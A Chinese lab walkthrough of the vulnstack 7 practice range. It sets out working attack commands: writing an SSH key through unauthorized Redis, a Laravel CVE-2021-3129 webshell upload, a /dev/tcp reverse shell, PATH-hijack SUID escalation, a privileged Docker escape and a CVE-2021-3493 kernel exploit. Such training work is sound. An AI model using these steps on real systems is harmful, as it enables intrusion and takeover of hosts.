万字讲解内网横向渗透vulnstack(七):红日靶场7实战全流程1-提权Web1/Web2(CVE-2021-3493)

目录

一、渗透环境搭建

1、网络拓扑

2、角色表

3、网络搭建

(1)网络适配器配置

①修改Web1的网卡配置

②修改Web2的网卡配置

③修改PC1的网卡配置

(2)配置网段

①编辑虚拟网络编辑器

② vmnet2网卡

③ vmnet14网卡

二、信息搜集

1、探测存活主机

2、探测端口

三、Redis渗透

1、生成ssh私钥

2、查看生成公钥文件

3、写入Redis服务器

(1) 直接连接未授权Redis

(2)写入SSH公钥获取服务器权限

① 命令详解

② 注入实操

4、ssh连接

5、查看Web1的Nginx配置

四、Laravel渗透(Web2)

1、发现Laravel

2、下载PoC

3、执行PoC上传木马

4、下载哥斯拉

5、连接哥斯拉

6、发现Docker环境

五、Docekr逃逸(Web2)

1、利用反弹shell交互

(1)Web1监听5555端口

(2)哥斯拉(Docker)连接5555端口

(3)Web1反弹shell成功(连接Docker)

2、查找find权限

3、分析/home/jobs/shell文件

(1)file /home/jobs/shell

(2)发现源码文件

(3)分析源码文件

5、环境变量提权

(1)命令详解

(2)实操提权

6、交互式会话

7、Docker逃逸准备

(1)特权模式检测

(2)查看分区

(3)挂载文件系统

8、写入ssh密钥进行逃逸

(1)跳板机Web1生成密钥

(2)向Web2写入公钥

(3)Web1连接Web2的ssh成功

六、Web2提权

1、CVE-2021-3493漏洞PoC下载

2、Web2上创建PoC文件

3、编译执行PoC提权


本系列文章详细记录红日靶场7的一次从外网到内网的多层渗透测试过程。本篇主要讲解获取Web1外网跳板机、Web2内网1服务器的全渗透流程,设计如下背景色标黄的所有流程。首先通过外网攻击利用Redis未授权漏洞获取Web1跳板机权限,随后以此为跳板对内网Web2服务器进行渗透,先后利用Laravel漏洞获取初始访问权限、通过环境变量提权获取Docker容器内root权限,最后利用特权模式实现Docker逃逸,成功控制宿主机。整个渗透过程涉及信息收集、漏洞利用、权限提升、容器逃逸等多个环节,展示了从外网到内网的完整攻击链。

  • Web1 (外网跳板机) - 信息收集: 通过端口扫描发现并利用 Redis 未授权访问漏洞

  • Web1 (外网跳板机) - 获取权限: 利用Redis写入ssh公钥实现ssh免密登录获取服务器权限。

  • Web1 (外网跳板机) - 内网探测: 上传fscan进行内网扫描,发现192.168.52.0/24网段。

  • Web2 (内网1) - 漏洞利用: 通过 Web1 跳板攻击Web2上Laravel CVE-2021-3129 漏洞

  • Web2 (内网1) - 权限提升: 在 Web2 的 Docker 容器内利用Find和篡改环境变量提权。

  • Web2 (内网1) - Docker逃逸:在Web2的 Docker容器内利用特权模式写入ssh公钥进行逃逸。

  • Web2(内网1)-- 权限提升:通过CVE-2021-3493漏洞提权为root账户。

  • Kali(攻击机)-Web1 (外网跳板机)  - 反向代理:使用stoway搭建反向代理连通内网1。

  • PC1 (内网1) - 获取权限: 通过 Web1 跳板,利用OA漏洞写入冰蝎木马进行提权。

  • Web1 (外网跳板机) - MSF获取权限: 通过向Web1上传木马,MSF获取Web1权限。

  • Web2(内网1)-- MSF获取权限:通过向Web2传木马,proxychains MSF获取Web2权限。

  • PC1 (内网1) - MSF获取权限: 通过向PC1传木马,MSF set Proxies socks5获取PC1权限。

  • PC1 (内网1) - MSF信息获取: 搜集密码信息与域信息,获取域管理员账户密码。

  • PC1 (内网1) - 内网探测: 通过向PC1传fscan,探测内网主机PC1和域控DC。

  • Kali-Web1-PC1 (内网1)  - 反向代理: 使用ew工具搭建二层内网反向代理。

  • PC2 (内网2) - 横向移动: MSF 永恒之蓝漏洞获取权限(走二层代理)。

  • PC(内网2) - 信息收集: 基于MSF收集域信息,定位域控制器,获取域控的账号和密码。

  • DC (内网2) -获取权限:MSF PSexec SMB获取权限(走二层代理)。

一、渗透环境搭建

1、网络拓扑

外部网络:

  • Kali攻击机:Vmnet8-192.168.59.128
  • DMZ跳板机:Web1(Ubuntu):Vmnet8-192.168.59.141 Vmnet2网卡:192.168.52.10

第一层内部网络:

  • Web2服务器(Ubuntu):Vmnet2网卡:192.168.52.20),Vmnet14网卡:192.168.93.10
  • PC1(内网1):Vmnet2网卡:192.168.52.30(通达OA)Vmnet14网卡:192.168.93.20

第二层内部网络:

  • 内网渗透目标PC2(内网2):Vmnet14-192.168.93.40(永恒之蓝)
  • 内网渗透目标DC(内网2):Vmnet14-192.168.93.30(Psexec SMB)

flowchart LR
    subgraph A [外部网络 VMnet8]
        A1[Kali攻击机<br>192.168.59.128]
        style A fill:#e1f5fe
    end

    subgraph B [边界/跳板区]
        B1[Web1 跳板机 Ubuntu<br>VMnet8: 192.168.59.141<br>VMnet2: 192.168.52.10<br>存在Redis漏洞]
        style B fill:#fff3e0
    end

    subgraph C [内网1 VMnet2]
        C1[Web2服务器 Ubuntu<br>VMnet2: 192.168.52.20<br>192.168.93.10<br>Laravel & Docker]
        C2[PC1 Windows<br>VMnet2: 192.168.52.30<br>192.168.93.20<br>通达OA系统]
        style C fill:#e8f5e9
    end

    subgraph D [内网2 VMnet14]
        D1[PC2 Windows<br>192.168.93.40<br>存在永恒之蓝漏洞]
        D2[DC 域控制器<br>192.168.93.30<br>存在Psexec SMB漏洞]
        style D fill:#fce4ec
    end

    A1 -- "初始攻击<br>Redis漏洞利用" --> B1
    B1 -- "横向移动<br>内网1探测" --> C
    C1 -- "双网卡跳板<br>通往内网2" --> D
    C2 -- "双网卡跳板<br>通往内网2" --> D

2、角色表

本渗透环境包含六个核心角色:位于外网的Kali攻击机(192.168.59.128)作为攻击起点;具备Redis漏洞的Web1跳板机(双网卡59.141/52.10)构成第一层防线突破点;内网1中存在Web2服务器(双网卡52.20/93.10)和PC1办公主机(双网卡52.30/93.20)共同作为通向内网2的桥梁;最终目标为内网2中的PC2(93.40,永恒之蓝漏洞)和域控制器DC(93.30,SMB漏洞),形成由外至内的三层渗透链。

  • 外网突破:Kali 利用 Web1 的 Redis 漏洞 (192.168.52.10) 获得首个立足点。

  • 内网1横向移动:以 Web1 为跳板,扫描并攻击内网1 (192.168.52.0/24) 中的 Web2 和 PC1。

  • 向内网2渗透:利用 Web2 或 PC1 的双网卡特性,将其作为新的跳板,访问此前无法直接到达的内网2 (192.168.93.0/24)。

  • 内网2攻击:最终在内网2中,利用 永恒之蓝 攻击 PC2,利用 Psexec/SMB 攻击域控制器 DC,完成对整个网络的控制。

节点IP地址角色与漏洞渗透路径中的作用
Kali攻击机192.168.59.128 (Vmnet8)攻击发起源从外网发起攻击的起点
Web1跳板机192.168.59.141 (Vmnet8)
192.168.52.10 (Vmnet2)
初始入口
Redis未授权访问漏洞
第一层跳板,连接外网与内网1
Web2服务器192.168.52.20 (Vmnet2)
192.168.93.10 (Vmnet14)
Laravel应用 & Docker
双网卡网关
第二层跳板,连接内网1与内网2
PC1192.168.52.30 (Vmnet2)
192.168.93.20 (Vmnet14)
通达OA系统
双网卡主机
辅助跳点,连接内网1与内网2
PC2 (目标)192.168.93.40 (Vmnet14)存在MS17-010(永恒之蓝)漏洞内网2核心攻击目标之一
DC (目标)192.168.93.30 (Vmnet14)域控制器,存在Psexec/SMB漏洞内网2最终攻击目标

3、网络搭建

(1)网络适配器配置

修改Web1的网卡配置

将桥接的网卡改为NAT和VMnet2,如下所示。

开启redis服务,如下所示。

redis-server /etc/redis.conf

启动Nginx服务

/usr/sbin/nginx -c /etc/nginx/nginx.conf

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

修改Web2的网卡配置

将桥接的网卡改为VMnet2和VMnet14,如下所示。

  • sudo service docker start
  • sudo docker start 8e172820ac78

确保在攻击机可以访问Web1服务器的81端口,在我的环境中Web1服务器的外网IP地址为192.168.59.141,故而访问URL如下所示

http://192.168.59.141:81/

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

修改PC1的网卡配置

将桥接的网卡改为VMnet2和VMnet14,如下所示。

注意:启动通达OA要管理员密码- Administrator:Whoami2021

C:\MYOA\bin\AutoConfig.exe

另外,还需关闭这台机器的fw,否则无法访问其8080端口。

注意完成此步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。

(2)配置网段

编辑虚拟网络编辑器

点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

vmnet2网卡

将vmnet2网段改为192.168.52.0/24,如下所示。

vmnet14网卡

添加vmnet14网卡,网段设置为192.168.93.0/24,如下所示。

将vmnet14网段改为192.168.93.0/24,如下所示。

二、信息搜集

1、探测存活主机

nmap 192.168.59.0/24  发现ip地址为192.168.59.141,如下所示。

nmap -sn 192.168.59.0/24

2、探测端口

对192.168.59.141进行常用端口探测,如下所示出现敏感端口号22、80、81

nmap –A 192.168.59.141

三、Redis渗透

1、生成ssh私钥

在攻击机中生成一对RSA非对称加密密钥,默认在当前用户.ssh目录下创建私钥文件id_rsa和公钥文件id_rsa.pub,该密钥对可用于实现SSH免密登录、数字签名或加密传输等安全认证场景。

# 执行密钥生成命令

ssh-keygen -t rsa

接下来对ssh-keygen -t rsa交互过程进行详细解析,具体步骤如下所示。

1)输入密钥文件保存路径

Enter file in which to save the key (/home/user/.ssh/id_rsa):
  • 含义:选择私钥和公钥的存储位置
  • 建议:直接回车使用默认路径 ~/.ssh/id_rsa

2)设置密钥密码

Enter passphrase (empty for no passphrase):
  • 含义:为私钥添加密码保护
  • 作用:即使私钥被盗,没有密码也无法使用,生产环境建议设置强密码

3)确认密码

Enter same passphrase again:
  • 含义:重复输入密码确认

2、查看生成公钥文件

进入.ssh目录内,我们发现共有两个文件,其中~/.ssh/id_rsa是生成的私钥(必须严格保密),而~/.ssh/id_rsa.pub公钥(可以分发),查询公钥内容如下所示。

cat ~/.ssh/id_rsa.pub    

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali

3、写入Redis服务器

(1) 直接连接未授权Redis

使用redis-cli -h 目标IP连接Redis服务器,具体如下所示。

redis-cli –h 192.168.59.141

(2)写入SSH公钥获取服务器权限

① 命令详解

接下来利用Redis未授权访问漏洞,通过修改Redis持久化存储路径和文件名,将攻击者的SSH公钥写入目标系统/root/.ssh/authorized_keys文件,从而建立SSH免密认证通道,实现服务器权限的非法获取和持久化控制,具体操作方法如下所示。

config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\n\ssh-rsa ......\n\n\n"
save
  • config set dir /root/.ssh/

    • config set: 用于动态修改 Redis 服务器的运行配置,而无需重启服务。

    • dir: 这个参数用于设置 Redis 持久化文件(如 RDB 快照)的存储目录。

    • /root/.ssh/: 这是 Linux 系统 root 用户默认的 SSH 密钥存放目录。

    • 整体含义: 将 Redis 的数据持久化目录临时修改为系统的 /root/.ssh/ 目录。这是攻击成功的关键一步,为后续将数据(公钥)写入该目录下的文件做准备。

  • config set dbfilename authorized_keys

    • dbfilename: 这个参数用于设置 Redis 持久化数据文件的名字。

    • authorized_keys: 这是 SSH 协议的一个关键文件,用于存储被允许无需密码即可登录该用户的所有公钥。

    • 整体含义: 将 Redis 的持久化数据文件名设置为 authorized_keys。这样,当 Redis 执行保存操作时,它就会把当前内存中的数据写入到 /root/.ssh/authorized_keys 这个文件中。

  • set marginl "\n\n\n\ssh-rsa ......\n\n\n"

    • set: 一个基础的 Redis 命令,用于设置一个键值对。

    • marginl: 这里只是一个随意的键名,攻击者可以使用任何名字。

    • "\n\n\n\ssh-rsa ......\n\n\n": 这是该命令的值,也就是攻击者自己的 SSH 公钥。前后的 \n(换行符)是为了确保公钥在 authorized_keys 文件中独立成行,避免与可能已存在的其他内容混淆,符合该文件的格式要求。

    • 整体含义: 在 Redis 的数据库中创建一个键,其值就是攻击者的 SSH 公钥。这个公钥稍后会被保存到 authorized_keys 文件中。

  • save

    • 含义: 这是一个 Redis 命令,用于强制将当前数据集立即保存到磁盘。它会触发一个 RDB 快照的创建。

    • 在攻击中的作用: 由于前两步已经将保存路径设置为 /root/.ssh/,文件名设置为 authorized_keys,所以当执行 save 时,Redis 就会将内存中的所有数据(包括包含公钥的 marginl 键)写入到 /root/.ssh/authorized_keys 文件。这会覆盖掉原有的 authorized_keys 文件(如果存在的话)。

② 注入实操

将我们通过篡改 Redis 的数据持久化配置,将上一步生成的SSH 公钥写入到目标系统 root 用户的 SSH 认证文件中,从而无需密码即可通过 SSH 登录 root 账户。

config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali\n\n\n"
save

备注:# 清空当前数据库的所有数据flushdb,# 或者清空所有数据库的数据flushall.

4、ssh连接

ssh root@192.168.59.141 -i ~/.ssh/id_rsa

为了方便,我是用xterminal连接ssh,配置时将私钥指定为写入公钥对应的私钥即可,效果如下所示。

5、查看Web1的Nginx配置

在通过ssh获取到Web1服务器的控制权后,我们查看下Nginx的配置文件,发现有两个文件分别为80.conf和81.conf,应该是80端口和81端口对应的配置文件,具体如下所示。

cd /etc/nginx/conf.d/
cat 81.conf

查看81.conf内容,我们发现发现81端口进行了反向代理(使用的是192.168.52.20对应的8000端口),也就是说如果我们访问Web1服务器的81端口,实际上访问的是192.168.52.20这台Web

2服务器的8000端口。

四、Laravel渗透(Web2)

本部分渗透需要确保Web1服务器和Web2服务器两台虚拟机都处于打开状态。

1、发现Laravel

我们在第三步查看Nginx配置,发现Nginx开启了反向代理,也就是说如果我们访问Web1(IP地址为192.168.59.141)的81端口,实际上访问的是Web2的8080端口。接下来我们尝试通过Web1的80端口渗透,尝试获取Web2的权限。访问Web1的81端口,如下所示发现其为Laravel服务。

http://192.168.59.141:81

2、下载PoC

Laravel编号为 CVE-2021-3129的漏洞是由于 Laravel 调试模式(Debug mode)下使用的 Ignition 组件(版本 < 2.5.2)存在安全缺陷。攻击者通过构造恶意的请求,可以利用组件中的反序列化逻辑缺陷和文件写入操作,最终在目标服务器上实现任意代码执行。我们下载PoC,尝试对其Laravel服务器进行渗透。

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

3、执行PoC上传木马

进入PoC所在的目录,执行PoC上传木马,命令如下所示。

python laravel-CVE-2021-3129-EXP.py  http://192.168.59.141:81

这一步需要打开虚拟机Web2,用于内网横向移动进行渗透测试,执行后输出webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass。

4、下载哥斯拉

由于Laravel的PoC较早,需要使用比较低版本的哥斯拉才可以连接成功,下载链接如下所示。

https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla

5、连接哥斯拉

通过java -jar命令启动哥斯拉,如下所示成功启动哥斯拉软件。

添加木马,其中webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass,具体如下。

webshell地址:http://192.168.59.141:81/fuckyou.php,密码:pass

点击添加后,右键进入会话,如下所示哥斯拉木马已经成功连接。

6、发现Docker环境

通过ls -la /命令查看根目录,发现docker文件,说明这是个Docker环境,我们需要对其进行Docker逃逸。

执行whoami命令,返回时www-data用户,我们需要对其进行提权并逃逸。

五、Docekr逃逸(Web2)

1、利用反弹shell交互

(1)Web1监听5555端口

因为哥斯拉没办法交互会话,故而改为反弹shell连接。在Web1的ssh终端开启5555端口监听,命令如下所示。

(2)哥斯拉(Docker)连接5555端口

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/5555<&1'

(3)Web1反弹shell成功(连接Docker)

如下所示反弹shell成功,接下来,我们就可以在web1的ssh终端通过监听5555端口连接Web2的Laravel服务器docker环境了。

2、查找find权限

在Docker容器或Linux系统中用于搜索具有SUID权限位的可执行文件,通过筛选所有根目录下属主具备SetUID权限的文件并忽略错误信息,旨在发现配置不当的高权限二进制程序,为容器逃逸或权限提升提供潜在突破口。

find / -perm -u=s -type f 2>/dev/null

如下所示,我们发现/home/jobs/shell文件,这是一个设置了SUID权限的可执行程序,并且其属主是 root

3、分析/home/jobs/shell文件

(1)file /home/jobs/shell

使用命令file /home/jobs/shell查看该程序的文件类型,发现是可执行程序,没法直接看代码。

file /home/jobs/shell

(2)发现源码文件

由于/home/jobs/shell是可执行文件,我们尝试进入到其文件目录,看看是否有什么信息可以利用。首先使用命令ls -l /home/jobs检查目录是否存在相关源码文件,发现 demo.c 文件。

ls -l /home/jobs

使用命令cat /home/jobs/demo.c查看文件内容,具体如下所示。

cat /home/jobs/demo.c

(3)分析源码文件

详细分析demo.c源码文件,C程序通过setuid(0)setgid(0)将进程权限提升至root身份,并调用system("ps")执行系统进程查看命令

  • setuid(0); 和 setgid(0); - 将进程的用户ID和组ID设置为0(root用户)

  • system("ps"); - 以提升后的权限执行ps命令查看进程列表

  • 通过#include<unistd.h>包含必要的系统调用头文件

#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("ps");
}

我们尝试执行shell程序,看看是否其执行了ps程序,如下所示确实执行了ps程序,说明shell应该是demo.c编译而得。

5、环境变量提权

(1)命令详解

我们来进行PATH环境变量劫持提权攻击,我们通过find命令获知/home/jobs/shell 是一个设置了SUID权限位的可执行程序,具体步骤如下所示。

cd /tmp

echo "/bin/bash" > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH

cd /home/jobs

./shell

  • 准备恶意程序

    • cd /tmp - 进入可写目录

    • echo "/bin/bash" > ps - 创建一个名为 ps 的文件,内容为 /bin/bash

    • chmod 777 ps - 赋予该文件所有用户可执行权限

  • 劫持系统命令路径

    • echo $PATH - 查看当前系统的命令搜索路径

    • export PATH=/tmp:$PATH - 关键步骤:将 /tmp 目录添加到 PATH 环境变量的最前面。这意味着,当系统需要执行一个命令时,会优先在 /tmp 目录下寻找

  • 触发执行并提权

    • cd /home/jobs

    • ./shell - 执行这个SUID程序,

(2)实操提权

执行shell后输入id和whoami,如下所示,提权成功。

当 ./shell 被执行时,以下过程在后台发生:

  • 由于 shell 文件设置了SUID位,操作系统会创建一个以 root 权限 运行的进程。

  • 假设在这个 shell 程序的代码中,存在类似 system("ps"); 的调用。它需要执行 ps 命令。

  • 程序会向系统请求:“请帮我运行 ps 命令”。

  • 系统收到请求后,继承当前Shell的环境变量(包括已被我们篡改的 PATH),开始寻找名为 ps 的可执行文件。

  • 系统按照 PATH 的顺序查找:

    • 首先在 /tmp 目录中寻找。

    • 立刻找到了我们创建的 /tmp/ps 文件。

    • 查找停止,系统不会再去 /bin 或 /usr/bin 寻找真正的 ps 命令。

  • 系统执行 /tmp/ps。由于父进程(./shell)是以 root 权限 运行的,它启动的子进程(我们的木马 ps)也继承了 root 权限

  • /tmp/ps 文件的内容是 /bin/bash,因此系统实际执行的是 /bin/bash

6、交互式会话

python -c 'import pty; pty.spawn("/bin/bash")'

7、Docker逃逸准备

(1)特权模式检测

Docker 特权模式是一种高风险的容器运行模式。当使用 --privileged 标志启动容器时,意味着:

  • 能力全开:容器将获得 Linux 内核的所有能力。
  • 设备访问:容器可以访问主机上的所有设备。
  • 安全机制解除:很多安全限制(如 AppArmor、Seccomp)会被禁用

通过cat /proc/self/status | grep CapEff查看能力值,若返回值为 0000003fffffffff 等接近全权限的掩码,则确认容器以特权模式运行。如下所示说明存在特权模式启动docker的问题。

cat /proc/self/status | grep CapEff

(2)查看分区

使用fdisk -l快速查看系统中有哪些磁盘和分区,这是因为攻击者在容器内执行 fdisk -l。由于容器运行在特权模式下,它能够直接看到宿主机的物理磁盘设备。通过fdisk -l获知宿主机磁盘为/dev/sda。

fdisk -l

(3)挂载文件系统

确认特权模式后,在容器内创建临时目录作为挂载点( /ljn)。使用 mount 命令将宿主机的物理磁盘(如 /dev/sda1 )挂载到该目录。此操作成功的关键在于特权模式绕过了设备访问限制,使得容器能够直接访问宿主机的存储设备,从而建立起从容器到主机文件系统的桥梁。

mkdir /ljn
mount /dev/sda1 /ljn

8、写入ssh密钥进行逃逸

(1)跳板机Web1生成密钥

Web1生成秘钥,ssh-keygen -f ljn命令使用SSH密钥生成工具创建一对非对称加密密钥,其中-f ljn参数指定生成文件的基名为"ljn",默认在当前目录下创建私钥文件ljn和公钥文件ljn.pub,用于后续的身份认证操作。

ssh-keygen -f ljn

(2)向Web2写入公钥

我们将密钥写入/ljn/home/ubuntu/.ssh/authorized_keys中,完整命令如下所示。

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Y9r/Uo+SsdzxIT3UV+Q1ESQElsOFaFCd+L50EPvud1X9IID9mNN2vYnAuNRZi/0yAyyAWBUEjeiVHy4Wb0MnTAmR+6y3+cA/AsP2mWTV97nwOxBSdNzpBeCE4K4qzdoFzFxqQXQMmY2ywqkSz0mU880TlN4gvm0IlyI9Nba6n3FPnARhzIrvSCj5GXCd7VCw8zc7SBXP0NUk3hcQHBLYF4Go970beO7fxF5ayBT1pdU76j2pVwdGiL6OhCaI4IiDhkh0qoPpzJamz/wLjyBxEjIgoNs3QmKvboiKkmogBAjzzUEdkp6vVMjzqogmElMvfh9e4hwukJkD4tnbLD0b root@ubuntu' > /ljn/home/ubuntu/.ssh/authorized_keys

(3)Web1连接Web2的ssh成功

Web1使用ssh  -i ljn ubuntu@192.168.52.20命令连接宿主机,需要先将ljn秘钥的权限设置为600,通过执行chmod 600 ljn命令将私钥文件ljn的权限设置为600(即仅文件所有者可读写),这是SSH协议对私钥文件的安全强制要求,权限设置过宽会导致SSH客户端拒绝使用该私钥建立连接。

chmod 600 ljn #赋予权限
ssh  -i ljn ubuntu@192.168.52.20

如下所示,此时我们通过在web1执行ssh命令,成功逃逸到web2系统,不过查看whoami时返回用户为ubuntu,我们仍需对其进行提权渗透,将其提升为root权限。

六、Web2提权

1、CVE-2021-3493漏洞PoC下载

CVE-2021-3493是Linux内核中的一个高危本地权限提升漏洞,它主要影响Ubuntu系统。攻击者可以利用此漏洞从普通用户权限提升至root权限。

https://github.com/briskets/CVE-2021-3493

2、Web2上创建PoC文件

首先建立一个exploit.c的文件然后将脚本内容粘贴进去,然后执行编译,然后执行。

3、编译执行PoC提权

首先使用GCC编译器将名为exploit.c的C语言源代码编译为名为exploit_ljn的可执行文件,随后通过chmod命令为其添加可执行权限,最终运行该漏洞利用程序,通过执行内核级漏洞利用代码实现从普通用户到root权限的本地提权。

gcc exploit.c -o exploit_ljn
chmod +x exploit_ljn
./exploit_ljn

下载前可以先看下教程 https://pan.quark.cn/s/16a53f4bd595 小天才电话手表刷机教程 — 基础篇 我们将为您简单的介绍小天才电话手表新机型的简单刷机以及玩法,如adb工具的使用,magisk的刷入等等。 我们会确保您看完此教程后能够对Android系统有一个最基本的认识,以及能够成功通过magisk root您的手表,并安装您需要的第三方软件。 ADB Android Debug Bridge,简称,在android developer的adb文档中是这么描述它的: 是一种多功能命令行工具,可让您与设备进行通信。 该命令有助于各种设备操作,例如安装和调试应用程序。 供对 Unix shell 的访问,您可以使用它在设备上运行各种命令。 它是一个客户端-服务器程序。 这听起来有些难以理解,因为您也没有必要去理解它,如果您对本文中的任何关键名词产生疑惑或兴趣,您都可以在搜索引擎中去搜索它,当然,我们会对其进行简单的解释:是一款在命令行中运行的,用于对Android设备进行调试的工具,并拥有比一般用户以及程序更高的限,所以,我们可以使用它对Android设备进行最基本的调试操作。 而在小天才电话手表上启用它,您只需要这么做: - 打开拨号盘; - 输入; - 点按打开adb调试选项。 其次是电脑上的Android SDK Platform-Tools的安装,此工具是 Android SDK 的组件。 它包括与 Android 平台交互的工具,主要由和构成,如果您接触过Android开发,必然会使用到它,因为它包含在Android Studio等IDE中,当然,您可以独立下载,在下方选择对应的版本即可: - Download SDK Platform...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值